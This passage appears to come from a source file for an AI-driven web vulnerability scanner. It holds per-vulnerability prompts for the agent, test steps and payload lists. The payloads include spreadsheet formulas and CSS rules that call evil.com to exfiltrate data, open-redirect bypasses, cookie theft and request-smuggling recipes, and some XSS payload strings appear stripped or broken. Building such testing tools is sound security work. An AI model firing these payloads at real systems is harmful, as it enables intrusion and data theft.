{{RANDOM_ID}} Click", + "verification_criteria": "CONFIRMED if: injected HTML tags are rendered by the browser (not displayed as text), visible as formatted content in response.", + "exploitation_guidance": "Demonstrate content injection (defacement), phishing form injection, or link injection. Screenshot rendered output.", + "false_positive_indicators": "HTML entities escaped (<h1>). Tags stripped by sanitizer. Content in non-HTML context (JSON, plain text).", + "technology_hints": {"php": "Check echo/print without htmlspecialchars()", "python": "Check Jinja2 without |e filter or markupsafe"} + }, + + "csv_injection": { + "role": "You are a CSV/formula injection specialist.", + "detection_strategy": "Inject spreadsheet formulas (=CMD, +CMD, @SUM) into fields that are exported to CSV/Excel, enabling code execution when opened.", + "test_methodology": "1. Inject =cmd|'/C calc'!A0 into {{PARAMETER}}. 2. Download exported CSV/Excel file. 3. Check if formula is preserved (not prefixed with '). 4. Test with =HYPERLINK(\"http://evil.com\",\"Click\").", + "payload_selection": "=cmd|'/C calc'!A0 =1+1 +1+1 @SUM(1+1) =HYPERLINK(\"http://evil.com\") -1+1 =IMPORTXML(\"http://evil.com\",\"//a\")", + "verification_criteria": "CONFIRMED if: formula executes or calculates when CSV is opened in Excel/Sheets (=1+1 shows 2), OR DDE command triggers.", + "exploitation_guidance": "Demonstrate formula execution in exported spreadsheet. Document the export endpoint, injected payload, and Excel behavior.", + "false_positive_indicators": "CSV export prefixes cells with single quote ('). Formula treated as text. Export is JSON/PDF not CSV.", + "technology_hints": {"php": "Check fputcsv() without cell sanitization", "python": "Check csv.writer without prefix escaping"} + }, + + "orm_injection": { + "role": "You are an ORM injection specialist targeting object-relational mapping layers.", + "detection_strategy": "Inject ORM-specific query syntax to manipulate database queries through the ORM abstraction layer.", + "test_methodology": "1. Identify ORM in use (Hibernate HQL, Django ORM, SQLAlchemy, ActiveRecord). 2. Inject ORM-specific operators: __gt, __contains for Django. 3. Test HQL injection: ' OR 1=1 in Hibernate. 4. Check for raw query exposure.", + "payload_selection": "field__gt=0 field__contains=admin field__regex=.* ' OR '1'='1 (Django) FROM User WHERE name=''+OR+1=1--' (HQL)", + "verification_criteria": "CONFIRMED if: ORM query manipulation returns unauthorized data, OR Boolean conditions change results, OR ORM error messages expose query structure.", + "exploitation_guidance": "Extract data through ORM filter manipulation. Document ORM type, injected payload, and extracted data.", + "false_positive_indicators": "ORM properly parameterizes queries. Filter operators rejected by validation. No visible query manipulation.", + "technology_hints": {"python": "Django ORM lookups (__gt, __lt, __contains), SQLAlchemy text()", "java": "Hibernate HQL string concatenation", "ruby": "ActiveRecord where() with string interpolation"} + }, + + # ===== XSS (19-23) ===== + + "xss_reflected": { + "role": "You are a reflected XSS specialist. Your job is to find and exploit reflected cross-site scripting vulnerabilities.", + "detection_strategy": "Inject unique markers into parameters and check if they appear unencoded in the HTML response. Then determine injection context (HTML body, attribute, JS, CSS) and craft context-appropriate payloads.", + "test_methodology": ( + "1. CANARY PROBE: Inject unique harmless string (e.g., 'xsstest{{RANDOM_ID}}') into {{PARAMETER}} at {{ENDPOINT}}. " + "Search response for unencoded reflection. If no reflection, try other parameters. " + "2. CONTEXT DETECTION: Analyze HTML around reflected canary to determine injection context: " + "HTML body, tag attribute (double/single/unquoted), JavaScript string (single/double/template literal), " + "event handler, href/src attribute, textarea, style, SVG/MathML, HTML comment. " + "3. FILTER PROBING: Test which characters pass through: < > \" ' / ( ) = ` ; " + "Test which tags survive: script, img, svg, body, input, details, select, xss (custom), animatetransform, set, animate. " + "Test which events survive: onload, onerror, onfocus, onbegin, ontoggle, onanimationend, onpointerover, onfocusin. " + "4. ADAPTIVE PAYLOAD: Based on allowed chars/tags/events, craft targeted payloads: " + "- If Attribute: \" onmouseover=alert(1) x=\" JS string: ';alert(1)// Event handler: SVG: ", + "verification_criteria": "CONFIRMED only if: JavaScript executes (alert fires, DOM modified, cookie accessed), OR unencoded script/event handler appears in HTML source in executable context. Encoded output (<script>) is NOT a finding.", + "exploitation_guidance": "Demonstrate: document.domain alert, cookie theft via document.cookie, DOM manipulation. Provide working URL with payload.", + "false_positive_indicators": "Output is HTML-encoded. CSP blocks script execution. Reflection is in non-executable context (HTML comment, textarea). WAF blocks payload.", + "technology_hints": {"php": "Check echo $_GET without htmlspecialchars()", "aspnet": "Check Response.Write without AntiXSS", "node": "Check res.send() with user input, missing helmet"} + }, + + "xss_stored": { + "role": "You are a stored/persistent XSS specialist with deep expertise in PortSwigger-level challenges and CTF labs.", + "detection_strategy": ( + "Two-phase approach: " + "Phase 1 - INJECT: Submit XSS payloads via comment forms, profile fields, message inputs, feedback forms, or any storage mechanism. " + "Phase 2 - VERIFY: Navigate to the page that DISPLAYS the stored content (often different from the submission URL). " + "Check if the payload renders unescaped and executes JavaScript. " + "The display page URL is often the same page (blog post with comments) or a parent page." + ), + "test_methodology": ( + "1. RECON: Identify storage points - comment forms (look for textarea, input[name=comment]), profile editors, message systems, feedback forms. " + "PortSwigger labs typically have comment forms on /post?postId=N with fields: comment, name, email, website. " + "2. PROBE: Send unique harmless string (e.g., 'xsstest12345') to each text input field via POST. " + "3. FIND DISPLAY: Navigate to pages that display stored content: same page, parent page (/post?postId=N), user profiles, comment lists. " + "Search for your probe string in HTML source. Note the surrounding context. " + "4. CONTEXT ANALYSIS: Determine injection context around your probe: " + "- HTML body: use or " + "- Tag attribute: use \" onfocus=alert(1) autofocus x=\" to break out " + "- JavaScript string: use ';alert(1)// or " + "- href attribute: use javascript:alert(1) " + "- Inside " + "5. PAYLOAD DELIVERY: Submit context-appropriate payload to the storage endpoint via POST. " + "Fill ALL required fields (name, email, etc.) with valid-looking data to avoid validation rejection. " + "6. VERIFY: Navigate to display page, check HTML source for unescaped payload. " + "7. FILTER BYPASS: If basic payload is filtered, try: " + "- Event handlers: onload, onerror, onfocus+autofocus, onmouseover, ontoggle, onbegin " + "- Different tags: ,
,
, Test with: no X-Frame-Options, no CSP frame-ancestors. Check specific sensitive pages, not just homepage.", + "verification_criteria": "CONFIRMED if: sensitive page (with state-changing actions) loads in iframe without X-Frame-Options or CSP frame-ancestors protection.", + "exploitation_guidance": "Create PoC HTML with transparent iframe over a decoy button. Target high-impact actions. Document: frameable page and the action that can be triggered.", + "false_positive_indicators": "Page has X-Frame-Options: DENY/SAMEORIGIN. CSP frame-ancestors present. Page has no sensitive actions. Frame-busting JavaScript present.", + "technology_hints": {"general": "Check per-page, not just root. Some frameworks set X-Frame-Options globally, others per-route."} + }, + + "open_redirect": { + "role": "You are an open redirect specialist.", + "detection_strategy": "Find URL parameters (redirect, url, next, return, goto) that redirect users to attacker-controlled domains without validation.", + "test_methodology": "1. Find redirect parameters: ?redirect=, ?url=, ?next=, ?return_to=. 2. Inject external URL: https://evil.com. 3. Try bypass: //evil.com, /\\evil.com, https://target.com@evil.com. 4. Check after login redirect flow. 5. Try URL encoding bypass.", + "payload_selection": "https://evil.com //evil.com /\\evil.com https://target.com@evil.com https://evil.com%23.target.com https://evil.com/.target.com /%09/evil.com", + "verification_criteria": "CONFIRMED if: browser redirects to external domain controlled by attacker. The redirect must actually happen (HTTP 302/301 to evil domain).", + "exploitation_guidance": "Document: redirect parameter, payload, and resulting redirect. Explain phishing/token theft impact.", + "false_positive_indicators": "Redirect only to same domain. URL validated against whitelist. Redirect shows warning page. Only path-based redirect (no domain change).", + "technology_hints": {"general": "Check: OAuth redirect_uri, login ?next= parameter, logout redirect, email unsubscribe links, short URL services"} + }, + + "dom_clobbering": { + "role": "You are a DOM clobbering specialist.", + "detection_strategy": "Exploit HTML id/name attributes to override JavaScript DOM properties, potentially leading to XSS or logic bypass.", + "test_methodology": "1. Find JS code referencing global variables via DOM (document.getElementById, window.someVar). 2. Inject HTML with matching id: . 3. Check if JS code uses the DOM element instead of expected value. 4. Target: config objects, URL variables, security checks.", + "payload_selection": "
", + "verification_criteria": "CONFIRMED if: injected HTML element overrides expected JavaScript variable/property, causing behavior change (XSS, security bypass).", + "exploitation_guidance": "Document: target JS code, clobbered variable, injected HTML, and resulting behavior change.", + "false_positive_indicators": "JS uses strict variable declarations (const/let). No global variable references. CSP blocks inline execution.", + "technology_hints": {"general": "Target: libraries using document.getElementById for config, named form elements, global variable lookups"} + }, + + "postmessage_vulnerability": { + "role": "You are a postMessage security specialist.", + "detection_strategy": "Find window.postMessage handlers that don't validate message origin, allowing cross-origin data injection or extraction.", + "test_methodology": "1. Search JS for addEventListener('message'). 2. Check if origin validation exists. 3. Create PoC page that sends messages to target iframe. 4. Check if sensitive data is sent via postMessage without origin check. 5. Test with: window.postMessage('payload','*').", + "payload_selection": "From attacker page: targetWindow.postMessage('inject', '*') targetWindow.postMessage('{\"cmd\":\"getToken\"}', '*') Listen: window.addEventListener('message', e => console.log(e.data))", + "verification_criteria": "CONFIRMED if: target processes messages from arbitrary origins (no origin check), leading to data injection, XSS, or sensitive data leak.", + "exploitation_guidance": "Document: message handler code, missing origin check, PoC sender page, and impact (data theft, XSS via injected data).", + "false_positive_indicators": "Origin properly validated (if (e.origin !== 'https://trusted.com')). Message data sanitized. No sensitive operations in handler.", + "technology_hints": {"general": "Check: OAuth popup communication, widget/embed communication, cross-domain iframe messaging, SSO implementations"} + }, + + "websocket_hijacking": { + "role": "You are a WebSocket security specialist.", + "detection_strategy": "Test WebSocket connections for cross-site hijacking (missing origin validation), injection, and authentication issues.", + "test_methodology": "1. Find WebSocket endpoints (ws:// or wss://). 2. Connect from different origin (attacker page). 3. Check if Origin header validated. 4. Test message injection. 5. Check if auth tokens in URL (visible in logs). 6. Test for CSWSH (Cross-Site WebSocket Hijacking).", + "payload_selection": "Cross-origin WebSocket: new WebSocket('wss://target.com/ws') from evil.com. Inject messages. Listen for sensitive data broadcast.", + "verification_criteria": "CONFIRMED if: WebSocket accepts connections from arbitrary origins, OR sensitive data accessible via cross-origin WebSocket, OR messages injectable.", + "exploitation_guidance": "Document: WebSocket endpoint, cross-origin connection success, and data accessible/injectable.", + "false_positive_indicators": "Origin validated on handshake. Authentication required per-message. WebSocket not exposing sensitive data.", + "technology_hints": {"general": "Check: Socket.IO, ws library, Spring WebSocket. Origin validation in upgrade handler."} + }, + + "prototype_pollution": { + "role": "You are a JavaScript prototype pollution specialist.", + "detection_strategy": "Inject __proto__, constructor.prototype, or Object.prototype properties through merge/extend operations to modify application behavior.", + "test_methodology": "1. Find object merge operations (JSON input, query params). 2. Inject: {\"__proto__\":{\"isAdmin\":true}}. 3. Check if Object.prototype modified. 4. Test via URL: ?__proto__[isAdmin]=true. 5. Look for gadgets that read polluted properties.", + "payload_selection": "{\"__proto__\":{\"isAdmin\":true}} {\"constructor\":{\"prototype\":{\"polluted\":true}}} ?__proto__[test]=polluted ?__proto__.toString=polluted", + "verification_criteria": "CONFIRMED if: prototype property set (({}).polluted === true after injection), leading to behavior change (auth bypass, RCE via gadgets).", + "exploitation_guidance": "Document: injection point, polluted property, and impact (auth bypass via isAdmin, RCE via child_process gadget). Show gadget chain.", + "false_positive_indicators": "Object.freeze(Object.prototype). Input sanitized for __proto__. No gadgets available for exploitation.", + "technology_hints": {"node": "Check: lodash.merge, jQuery.extend, deep-merge libraries. Gadgets: ejs, pug, handlebars template engines."} + }, + + "css_injection": { + "role": "You are a CSS injection specialist.", + "detection_strategy": "Inject CSS code through user-controlled style attributes or parameters reflected in CSS contexts to exfiltrate data or modify UI.", + "test_methodology": "1. Find parameters reflected in style attributes or CSS blocks. 2. Inject: background:url(//evil.com/{{RANDOM_ID}}). 3. Try attribute selector exfiltration: input[value^='a']{background:url(//evil.com/a)}. 4. Test font-face trick for data extraction.", + "payload_selection": "color:red;background:url(//evil.com/{{RANDOM_ID}}) };body{background:red} input[value^='a']{background:url(//evil.com/a)} @import url(//evil.com/steal.css)", + "verification_criteria": "CONFIRMED if: injected CSS renders (visual change), OR data exfiltrated via CSS selectors (callback received), OR @import loads external CSS.", + "exploitation_guidance": "Demonstrate data exfiltration via CSS attribute selectors (CSRF token, email characters). Document: injection point and extracted data.", + "false_positive_indicators": "CSS sanitized/escaped. Style attribute not rendered. CSP blocks external resources. Only safe properties allowed.", + "technology_hints": {"general": "Target: user-customizable themes, style parameters, inline style injection, CSS-in-JS with user input"} + }, + + "tabnabbing": { + "role": "You are a reverse tabnabbing specialist.", + "detection_strategy": "Find links with target='_blank' that lack rel='noopener noreferrer', allowing the opened page to modify the opener's URL for phishing.", + "test_methodology": "1. Find links without rel='noopener'. 2. Check if opened page can access window.opener. 3. Verify window.opener.location can be modified. 4. Test with user-controlled links (comments, profiles).", + "payload_selection": "In attacker page: window.opener.location = 'https://evil-phishing.com/login' Check: document.querySelector('a[target=_blank]:not([rel*=noopener])')", + "verification_criteria": "CONFIRMED if: link opens new tab AND the original tab can be navigated by the new tab via window.opener.location.", + "exploitation_guidance": "Document: vulnerable link, lack of rel='noopener', and PoC showing original tab URL change to phishing page.", + "false_positive_indicators": "rel='noopener noreferrer' present. Modern browsers limit opener access. Links only to same origin. No user-controlled link targets.", + "technology_hints": {"general": "Most modern frameworks add rel='noopener' by default. Check: user-submitted content with links, older framework versions."} + }, + + # ===== INFRASTRUCTURE (58-67) ===== + + "security_headers": { + "role": "You are a security headers analysis specialist.", + "detection_strategy": "Analyze HTTP response headers for missing or misconfigured security headers that weaken the application's defense-in-depth.", + "test_methodology": "1. Request main page and key endpoints. 2. Check for: X-Frame-Options, X-Content-Type-Options, X-XSS-Protection, CSP, HSTS, Permissions-Policy, Referrer-Policy. 3. Analyze CSP for weaknesses (unsafe-inline, unsafe-eval, wildcards).", + "payload_selection": "N/A - inspection-based. Analyze all response headers from: main page, login page, API endpoints, static resources.", + "verification_criteria": "CONFIRMED if: critical security headers missing (CSP, HSTS on HTTPS, X-Content-Type-Options) on pages serving HTML content.", + "exploitation_guidance": "Document each missing header, its security purpose, and the risk. Provide recommended header values.", + "false_positive_indicators": "API-only endpoints (no HTML). Headers present in meta tags. Reverse proxy adds headers (check final response).", + "technology_hints": {"general": "Check: Helmet (Node), SecurityMiddleware (Django), Spring Security headers, Apache/Nginx header config"} + }, + + "ssl_issues": { + "role": "You are an SSL/TLS security specialist.", + "detection_strategy": "Analyze TLS configuration for weak protocols, cipher suites, expired/self-signed certificates, and missing features.", + "test_methodology": "1. Check TLS version support (TLS 1.0/1.1 should be disabled). 2. Check cipher suites for weak algorithms (DES, RC4, NULL). 3. Verify certificate chain. 4. Check for HSTS. 5. Test for POODLE, BEAST, CRIME vulnerabilities.", + "payload_selection": "N/A - inspection-based. Test with: openssl s_client, ssl scan tools, certificate chain validation.", + "verification_criteria": "CONFIRMED if: TLS 1.0/1.1 supported, OR weak cipher suites enabled, OR certificate expired/self-signed, OR HSTS missing.", + "exploitation_guidance": "Document: supported protocols, weak ciphers, certificate issues. Provide recommended TLS configuration.", + "false_positive_indicators": "TLS 1.0/1.1 disabled. Only strong ciphers. Valid certificate chain. HSTS with long max-age.", + "technology_hints": {"general": "Check: Nginx ssl_protocols, Apache SSLProtocol, IIS crypto settings, CloudFlare edge certificates"} + }, + + "http_methods": { + "role": "You are an HTTP methods security specialist.", + "detection_strategy": "Test for dangerous HTTP methods (PUT, DELETE, TRACE, CONNECT) that should be disabled on web servers.", + "test_methodology": "1. Send OPTIONS request to discover allowed methods. 2. Test TRACE for XST (Cross-Site Tracing). 3. Test PUT/DELETE for file manipulation. 4. Check if methods differ per endpoint. 5. Test WebDAV methods (PROPFIND, MKCOL).", + "payload_selection": "OPTIONS * HTTP/1.1 TRACE / HTTP/1.1 PUT /test.txt (with file content) DELETE /test.txt PROPFIND / HTTP/1.1", + "verification_criteria": "CONFIRMED if: TRACE method returns request body (XST), OR PUT/DELETE modify server files, OR WebDAV methods return directory listings.", + "exploitation_guidance": "Document: allowed methods per endpoint, demonstrated method abuse (file creation via PUT, XST via TRACE).", + "false_positive_indicators": "OPTIONS returns methods but they're not actually functional. 405 Method Not Allowed on dangerous methods. WebDAV intentionally enabled.", + "technology_hints": {"general": "Check: Apache LimitExcept, Nginx limit_except, IIS request filtering, Spring @RequestMapping methods"} + }, + + "directory_listing": { + "role": "You are a directory listing discovery specialist.", + "detection_strategy": "Find web server directories with automatic listing enabled that expose file structure and potentially sensitive files.", + "test_methodology": "1. Browse to common directories: /images/, /uploads/, /backup/, /static/, /assets/. 2. Check for 'Index of' or directory listing HTML. 3. Look for sensitive files in listings. 4. Check .htaccess/web.config for listing rules.", + "payload_selection": "/images/ /uploads/ /backup/ /static/ /assets/ /media/ /files/ /docs/ /data/ /tmp/ /logs/ /includes/ /config/", + "verification_criteria": "CONFIRMED if: directory listing shows file names and allows browsing, especially if sensitive files (configs, backups, source) are exposed.", + "exploitation_guidance": "Document: directory URLs with listing enabled, sensitive files found. Screenshot directory listings.", + "false_positive_indicators": "Custom directory page (not auto-listing). Listing enabled but only public assets. 403 Forbidden on directory access.", + "technology_hints": {"general": "Apache: Options -Indexes, Nginx: autoindex off, IIS: directory browsing disabled"} + }, + + "debug_mode": { + "role": "You are a debug mode detection specialist.", + "detection_strategy": "Detect debug/development mode left enabled in production, exposing stack traces, configuration, and debug endpoints.", + "test_methodology": "1. Trigger errors (404, 500) and check for detailed stack traces. 2. Check for debug endpoints: /debug, /__debug__, /phpinfo.php, /actuator. 3. Check response headers for debug indicators. 4. Test for WERKZEUG debugger (Python). 5. Check for Laravel debug mode.", + "payload_selection": "/nonexistent (404 page) /?debug=true /phpinfo.php /actuator/env /debug/pprof /__debug__/ /elmah.axd /trace /api/v1/error-test", + "verification_criteria": "CONFIRMED if: detailed stack traces with source code paths exposed, OR debug console accessible, OR sensitive configuration visible.", + "exploitation_guidance": "Document: debug endpoints found, information exposed (source paths, config values, environment variables). Screenshot debug pages.", + "false_positive_indicators": "Generic error pages. Stack traces only in response headers/logs (not visible). Debug endpoints require auth.", + "technology_hints": {"python": "Werkzeug debugger (interactive console!), Django DEBUG=True", "php": "display_errors=On, Xdebug", "java": "Spring Actuator, Tomcat manager"} + }, + + "exposed_admin_panel": { + "role": "You are an exposed admin panel discovery specialist.", + "detection_strategy": "Find publicly accessible administration interfaces that should be restricted by IP or additional authentication.", + "test_methodology": "1. Try common admin paths: /admin, /administrator, /wp-admin, /cpanel, /phpmyadmin. 2. Check for admin login pages accessible from public internet. 3. Test with default credentials. 4. Check for admin API endpoints.", + "payload_selection": "/admin /administrator /admin/login /wp-admin /cpanel /phpmyadmin /adminer /manager/html /jenkins /grafana /kibana /api/admin", + "verification_criteria": "CONFIRMED if: admin login page accessible from public internet without IP restriction, OR admin panel accessible with default/weak credentials.", + "exploitation_guidance": "Document: admin panel URL, accessibility, and any default credentials that work. Screenshot the admin interface.", + "false_positive_indicators": "Admin panel behind VPN/IP whitelist. Strong auth (2FA) required. 404/403 on admin paths.", + "technology_hints": {"general": "WordPress /wp-admin, Django /admin, Laravel /nova, Spring Boot /actuator, phpMyAdmin, Adminer"} + }, + + "exposed_api_docs": { + "role": "You are an API documentation exposure specialist.", + "detection_strategy": "Find exposed API documentation (Swagger, OpenAPI, GraphQL playground) that reveals endpoint structure and may allow unauthorized testing.", + "test_methodology": "1. Check: /swagger-ui.html, /api-docs, /swagger.json, /openapi.json. 2. Check for GraphQL playground: /graphql, /graphiql. 3. Check for Postman collections. 4. Verify docs expose authenticated endpoints.", + "payload_selection": "/swagger-ui.html /swagger-ui/ /api-docs /openapi.json /swagger.json /graphql /graphiql /redoc /api/documentation /v1/api-docs", + "verification_criteria": "CONFIRMED if: API documentation accessible publicly, revealing endpoint structure, parameters, and potentially authentication mechanisms.", + "exploitation_guidance": "Document: documentation URL, endpoints revealed, and any that can be called without auth. Screenshot API docs.", + "false_positive_indicators": "Public API with intentional docs. Docs behind auth. Docs don't reveal sensitive endpoints.", + "technology_hints": {"general": "Swagger/OpenAPI, GraphQL introspection, Postman collections, WSDL for SOAP, RAML/API Blueprint"} + }, + + "insecure_cookie_flags": { + "role": "You are a cookie security specialist.", + "detection_strategy": "Analyze cookies for missing security flags: Secure, HttpOnly, SameSite that protect against theft and CSRF.", + "test_methodology": "1. Login and capture Set-Cookie headers. 2. Check session cookie for: Secure flag (HTTPS only), HttpOnly (no JS access), SameSite (CSRF protection). 3. Check cookie scope (domain, path). 4. Check for sensitive data in cookies.", + "payload_selection": "N/A - inspection-based. Analyze all Set-Cookie headers, especially session/auth cookies.", + "verification_criteria": "CONFIRMED if: session cookie missing HttpOnly (accessible via document.cookie), OR missing Secure flag on HTTPS site, OR SameSite=None without Secure.", + "exploitation_guidance": "Document: cookie name, missing flags, and specific risk (XSS cookie theft if no HttpOnly, MITM if no Secure).", + "false_positive_indicators": "Non-sensitive cookies (tracking, preferences). HttpOnly set via response header (not visible in JS). SameSite=Lax (adequate protection).", + "technology_hints": {"general": "Check: express-session config, Django SESSION_COOKIE_SECURE, PHP session.cookie_httponly, Spring session config"} + }, + + "http_smuggling": { + "role": "You are an HTTP request smuggling specialist.", + "detection_strategy": "Exploit discrepancies between front-end (proxy/CDN) and back-end server HTTP parsing to smuggle requests and bypass security controls.", + "test_methodology": "1. Test CL.TE: send Content-Length and Transfer-Encoding headers with conflicting values. 2. Test TE.CL: reverse order. 3. Test TE.TE: obfuscated Transfer-Encoding. 4. Check for request splitting. 5. Use differential timing to detect.", + "payload_selection": "CL.TE: Content-Length:6 + Transfer-Encoding:chunked + 0\\r\\n\\r\\nSMUGGLED. TE.CL: Transfer-Encoding:chunked + body with extra Content-Length. TE.TE: Transfer-Encoding: xchunked, Transfer-Encoding : chunked.", + "verification_criteria": "CONFIRMED if: smuggled request affects subsequent requests (different user gets smuggled response), OR timing difference detected between CL and TE interpretation.", + "exploitation_guidance": "Document: front-end/back-end combo, smuggling technique (CL.TE/TE.CL), and impact (cache poisoning, request hijacking, auth bypass).", + "false_positive_indicators": "Both servers agree on parsing. Transfer-Encoding normalized by proxy. Connection: close preventing pipelining.", + "technology_hints": {"general": "Target: HAProxy+Apache, Nginx+Gunicorn, CloudFlare+Origin, AWS ALB+Backend. Use Burp Turbo Intruder."} + }, + + "cache_poisoning": { + "role": "You are a web cache poisoning specialist.", + "detection_strategy": "Manipulate cache keys and unkeyed inputs to poison cached responses, serving malicious content to other users.", + "test_methodology": "1. Identify caching (Cache-Control, X-Cache, Age headers). 2. Find unkeyed inputs: X-Forwarded-Host, X-Original-URL, X-Forwarded-Scheme. 3. Inject payload via unkeyed input. 4. Verify cached response serves payload to subsequent requests.", + "payload_selection": "X-Forwarded-Host: evil.com X-Forwarded-Scheme: nothttps X-Original-URL: /admin Cache-buster: unique param per test. Check X-Cache: HIT after injection.", + "verification_criteria": "CONFIRMED if: injected content via unkeyed input is cached and served to subsequent clean requests (different session/no special headers).", + "exploitation_guidance": "Document: unkeyed input, injected payload, and cached response serving malicious content. Show impact (XSS via cached response, redirect).", + "false_positive_indicators": "Input is part of cache key. Cache not shared between users. Vary header includes the input. Short cache TTL.", + "technology_hints": {"general": "Target: Varnish, CloudFlare, Fastly, Akamai, Nginx proxy_cache. Use Param Miner Burp extension methodology."} + }, + + # ===== LOGIC & DATA (68-83) ===== + + "race_condition": { + "role": "You are a race condition specialist.", + "detection_strategy": "Exploit time-of-check to time-of-use (TOCTOU) gaps by sending concurrent requests to bypass limits or duplicate operations.", + "test_methodology": "1. Identify operations with limits (one coupon use, one vote, balance check). 2. Send 10-50 concurrent identical requests. 3. Check if operation executed multiple times. 4. Test with: coupon redemption, fund transfer, file operations.", + "payload_selection": "Send 20+ simultaneous requests using asyncio/concurrent connections. Target: POST /api/redeem-coupon, POST /api/transfer, POST /api/vote. Use HTTP/2 single-packet attack for precision.", + "verification_criteria": "CONFIRMED if: operation succeeds more times than allowed (coupon used twice, balance went negative, multiple votes counted).", + "exploitation_guidance": "Document: endpoint, number of concurrent requests, number of successful executions, and impact (financial, logical).", + "false_positive_indicators": "Proper database locking. Idempotency keys enforced. Request deduplication. Only one request succeeds.", + "technology_hints": {"general": "Use HTTP/2 single-packet technique for precision. Test: inventory, coupons, votes, transfers, file operations."} + }, + + "business_logic": { + "role": "You are a business logic vulnerability specialist.", + "detection_strategy": "Find flaws in application workflow logic that allow bypassing intended business rules (price manipulation, workflow skip, feature abuse).", + "test_methodology": "1. Map application workflows (purchase, registration, approval). 2. Try skipping steps. 3. Manipulate prices/quantities (negative values, zero, decimals). 4. Test boundary conditions. 5. Abuse intended features for unintended purposes.", + "payload_selection": "Price: -1, 0, 0.01, 99999999. Quantity: -1, 0, MAX_INT. Skip checkout steps. Modify hidden fields. Apply coupon multiple times. Transfer negative amounts.", + "verification_criteria": "CONFIRMED if: business rule bypassed (free purchase, negative transfer, workflow skip), with actual server-side impact (not just UI).", + "exploitation_guidance": "Document: intended workflow, bypass method, and actual impact (financial loss, privilege gain). Show server responses confirming bypass.", + "false_positive_indicators": "Server validates all business rules. Client-side only changes. Operations roll back on validation failure.", + "technology_hints": {"general": "Target: e-commerce (price/quantity), banking (transfers), SaaS (plan limits), multi-step workflows (step skipping)"} + }, + + "rate_limit_bypass": { + "role": "You are a rate limiting bypass specialist.", + "detection_strategy": "Test rate limiting mechanisms and find bypasses to perform brute force, scraping, or abuse at scale.", + "test_methodology": "1. Identify rate-limited endpoints. 2. Test bypass via: X-Forwarded-For rotation, API versioning (/v1/ vs /v2/), case change, parameter pollution. 3. Test IP rotation. 4. Check if rate limit is per-IP, per-user, or per-session.", + "payload_selection": "X-Forwarded-For: 1.2.3.{N} (rotate) X-Real-IP: different values. Try: /API/login vs /api/login. Add null byte: /api/login%00. Change HTTP method. Distribute across endpoints.", + "verification_criteria": "CONFIRMED if: rate limit bypassed using header manipulation, path variation, or other technique, allowing unlimited requests.", + "exploitation_guidance": "Document: rate limit configuration, bypass technique, and demonstrated unlimited access.", + "false_positive_indicators": "Rate limit properly enforced regardless of headers. No rate limit exists (feature not implemented). Rate limit per-user not per-IP.", + "technology_hints": {"general": "Check: X-Forwarded-For trust, path normalization, case sensitivity, API gateway vs app-level rate limiting"} + }, + + "parameter_pollution": { + "role": "You are an HTTP parameter pollution specialist.", + "detection_strategy": "Send duplicate parameters to exploit different parsing between front-end and back-end, or to bypass validation.", + "test_methodology": "1. Send duplicate params: ?user=admin&user=victim. 2. Test different formats: user=admin,victim. 3. Check which value the server uses (first, last, array). 4. Test for WAF bypass via duplicate params. 5. Test JSON pollution.", + "payload_selection": "?param=safe¶m=malicious ?param=value1,value2 ?param[]=a¶m[]=b JSON: {\"role\":\"user\",\"role\":\"admin\"} ?id=1&id=2", + "verification_criteria": "CONFIRMED if: duplicate parameters cause different behavior than single parameter, leading to: auth bypass, WAF bypass, or data manipulation.", + "exploitation_guidance": "Document: polling behavior (first wins, last wins, concatenated), and the exploit (WAF bypass, logic bypass).", + "false_positive_indicators": "Server consistently uses first/last value. No behavioral difference. Parameters properly deduplicated.", + "technology_hints": {"php": "PHP uses last value", "aspnet": "ASP.NET concatenates with comma", "node": "Express returns array", "python": "Flask uses first value"} + }, + + "type_juggling": { + "role": "You are a type juggling/coercion specialist.", + "detection_strategy": "Exploit loose type comparison in languages like PHP to bypass authentication or other security checks.", + "test_methodology": "1. Test PHP loose comparison: send 0 instead of string password (0 == 'string' is true in PHP). 2. Test: null, true, 0, [], '0e123' (magic hashes). 3. Test JSON type manipulation (string vs int). 4. Test JavaScript == vs ===.", + "payload_selection": "Password: 0, true, [], null, '0e462097431906509019562988736854' (md5 of 240610708 starts with 0e). JSON: {\"password\":0} {\"password\":true} {\"password\":[]}", + "verification_criteria": "CONFIRMED if: authentication bypassed or security check circumvented by sending unexpected type (int 0 instead of string, true instead of password).", + "exploitation_guidance": "Document: comparison flaw, type sent, and resulting bypass. Show authentication success with type-juggled value.", + "false_positive_indicators": "Strict comparison (===) used. Type validation on input. Password properly hashed before comparison.", + "technology_hints": {"php": "== vs === comparison. Magic hashes: md5('240610708') starts with 0e. json_decode returns int for 0.", "node": "== vs === in JavaScript"} + }, + + "insecure_deserialization": { + "role": "You are an insecure deserialization specialist.", + "detection_strategy": "Find endpoints that deserialize user-controlled data (Java serialization, PHP unserialize, Python pickle, .NET BinaryFormatter) to achieve RCE.", + "test_methodology": "1. Identify serialized data: Java (base64 rO0AB), PHP (a:, O:, s: patterns), Python (__reduce__). 2. Check cookies, hidden fields, API parameters. 3. Generate PoC payload with gadget chain. 4. Test with DNS callback payload first.", + "payload_selection": "Java: ysoserial CommonsCollections payload. PHP: serialize object with __wakeup/__destruct. Python: pickle.loads exploit. .NET: BinaryFormatter/ObjectStateFormatter payload.", + "verification_criteria": "CONFIRMED if: deserialization payload triggers callback (DNS/HTTP), OR command execution, OR application state changed.", + "exploitation_guidance": "Document: serialization format, gadget chain used, and execution proof (callback received, command output).", + "false_positive_indicators": "Data not actually deserialized. Deserialization type-restricted. No usable gadget chains in classpath.", + "technology_hints": {"java": "Check for ObjectInputStream.readObject(), base64-encoded rO0AB...", "php": "Check for unserialize() with user input", "python": "Check for pickle.loads(), yaml.load()", "dotnet": "Check for BinaryFormatter, TypeNameHandling.All in JSON.NET"} + }, + + "subdomain_takeover": { + "role": "You are a subdomain takeover specialist.", + "detection_strategy": "Find dangling DNS records (CNAME, A) pointing to unclaimed cloud services that can be registered by an attacker.", + "test_methodology": "1. Enumerate subdomains. 2. Check DNS records for CNAME to cloud services (S3, Azure, Heroku, GitHub Pages). 3. Verify if the target resource is unclaimed. 4. Check for error pages indicating unclaimed resource. 5. Attempt to claim the resource.", + "payload_selection": "Check CNAME records for: *.s3.amazonaws.com, *.azurewebsites.net, *.herokuapp.com, *.github.io, *.cloudfront.net, *.pantheonsite.io, *.ghost.io", + "verification_criteria": "CONFIRMED if: subdomain CNAME points to unclaimed cloud resource (404/error from cloud provider), AND attacker can register the resource to serve content.", + "exploitation_guidance": "Document: subdomain, CNAME target, cloud provider, and proof that resource is claimable. DO NOT actually claim production resources without authorization.", + "false_positive_indicators": "Resource 